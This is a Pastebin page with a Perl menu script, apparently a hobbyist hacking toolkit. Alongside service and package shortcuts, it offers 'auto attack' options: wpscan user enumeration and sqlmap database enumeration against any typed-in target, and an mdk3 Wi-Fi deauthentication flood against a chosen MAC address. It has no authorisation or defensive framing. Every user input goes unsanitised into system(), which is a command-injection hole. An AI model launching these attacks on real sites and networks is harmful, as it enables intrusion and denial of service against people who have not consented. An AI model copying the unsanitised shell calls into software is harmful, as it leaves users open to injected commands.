Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # N00BZ_PROG
- print "+----------------------------------------+\n";
- print "| alinko private project |\n";
- print "| =[alinkoproject.com]= |\n";
- print "|[!] [!] [!] [!] [!] [!] [!] [!] [!] [!]|\n";
- print "+----------------------------------------+\n\n";
- print "select ur options :\n";
- print "1 > start apache2 \n";
- print "2 > stop apache2 \n";
- print "3 > restart apache2 \n";
- print "4 > start mysql \n";
- print "5 > stop mysql \n";
- print "6 > restart mysql \n";
- print "7 > open sublime text \n";
- print "8 > open firefox \n";
- print "9 > update \n";
- print "10 > upgrade \n";
- print "11 > add repository \n";
- print "12 > Downloader \n";
- print "13 > wpscan auto attack!\n";
- print "14 > sqlmap auto attack!\n";
- print "15 > mdk3 auto attack!\n";
- print " > exit\n\n";
- print " Your options > ";
- $up=<STDIN>;
- chomp($up);
- if($up eq "1"){
- system('/etc/init.d/apache2 start');
- }elsif($up eq "2"){
- system('/etc/init.d/apache2 stop');
- }elsif($up eq "3"){
- system('/etc/init.d/apache2 restart');
- }elsif($up eq "4"){
- system('/etc/init.d/mysql start');
- }elsif($up eq "5"){
- system('/etc/init.d/mysql stop');
- }elsif($up eq "6"){
- system('/etc/init.d/mysql restart');
- }elsif($up eq "7"){
- system('/opt/sublime_text/sublime_text');
- }elsif($up eq "8"){
- system('firefox');
- }elsif($up eq "9"){
- system('apt-get update');
- }elsif($up eq "10"){
- system('apt-get upgrade');
- }elsif($up eq "11"){
- system('pico /etc/apt/sources.list');
- }elsif($up eq "12"){
- print "[!] link file :";
- $link=<STDIN>;
- if($link){
- system('wget '.$link);
- }
- }elsif($up eq "13"){
- print"[!] target -> ";
- $target=<STDIN>;
- if($target){
- system('wpscan --url '.$target.' --enumerate u');
- }
- }elsif($up eq "14"){
- print"[!] target -> ";
- $sql=<STDIN>;
- if($sql){
- system('sqlmap -u '.$sql.' --dbs');
- }
- }elsif($up eq "15"){
- system('airmon-ng start wlan0');
- print"[!] Your MacAddress -> ";
- $m=<STDIN>;
- if($m){
- system('mdk3 wlan0 d -w '.$m.' ');
- }
- print "modar kabeh!\n";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement